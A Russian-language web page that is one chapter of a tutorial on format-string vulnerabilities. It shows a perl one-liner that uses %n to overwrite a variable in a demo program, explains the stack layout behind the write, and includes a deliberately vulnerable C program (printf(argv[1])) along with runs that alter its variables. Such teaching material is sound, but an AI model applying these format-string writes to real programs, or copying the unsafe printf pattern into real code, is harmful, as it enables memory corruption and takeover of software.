П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 3496 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 6099 раз(а).

Учебник HTML.
Просмотров 3259 раз(а).

Руководство по PHP5.
Просмотров 5483 раз(а).

Хостинг через призму DNS.
Просмотров 4118 раз(а).

Подборка текстов стандартных документов.
Просмотров 55761 раз(а).

Учебник PHP - Самоучитель
Просмотров 3076 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 5378 раз(а).

Внешние атаки...
Просмотров 3818 раз(а).

Учебник PHP.
Просмотров 2815 раз(а).

SSI в примерах.
Просмотров 37451 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Первые шаги

Вернемся к программе stack:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [dця›000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

Мы задали в качестве строки ввода:
  1. адрес переменной i;
  2. инструкцию форматирования (%.496x);
  3. вторую инструкцию форматирования (%n), которая произведет запись по данному адресу.
Чтобы определить адрес переменной i (здесь 0xbffff664), мы можем запустить программу дважды и соответственно поменять командную строку. Как вы заметили, i имеет новое значение :) Данная строка форматирования и организация стека делают вызов snprintf() подобным на:
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 first bytes in buffer);

Первые четыре байта (содержащие адрес i) записываются в начало buffer. Формат %.496x позволяет нам избавится от переменной tmp, которая расположена в начале стека. Затем, когда доходит дело до инструкции %n, адрес, который она использует, - есть адрес переменной i, расположенный в начале buffer. Хотя требуемая точность равна 496, snprintf записывает максимум 60 байт (т.к. длина буфера - 64 и 4 байта уже записано). Значение 496 - произвольное, оно используется только чтобы изменить "счетчик байтов". Мы видели, что формат %n сохраняет количество байт, которое должно будет записано. Это значение равно 496, к которому мы добавляем 4 из-за 4 байт адреса i в начале buffer. Поэтому у нас получается 500 байт. Это значение будет записано в следующий адрес, расположенный в стеке, который является адресом i.

Мы можем пойти дальше в развитии данного примера. Чтобы изменить i, нам надо было знать ее адрес ... однако иногда программа сама предоставляет его:

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Запуск этой программы показывает, что мы можем управлять стеком (почти) как мы хотим:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

Как вы можете видеть, в зависимости от аргумента, мы можем менять cpt1 или cpt2. Формату %n нужен адрес, вот почему мы не можем напрямую работать с переменными (например используя %3$n (cpt2) или %4$n (cpt1)), однако можем это делать через указатели. Последнее - "полуфабрикат" с огромными возможностями для модификации.

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru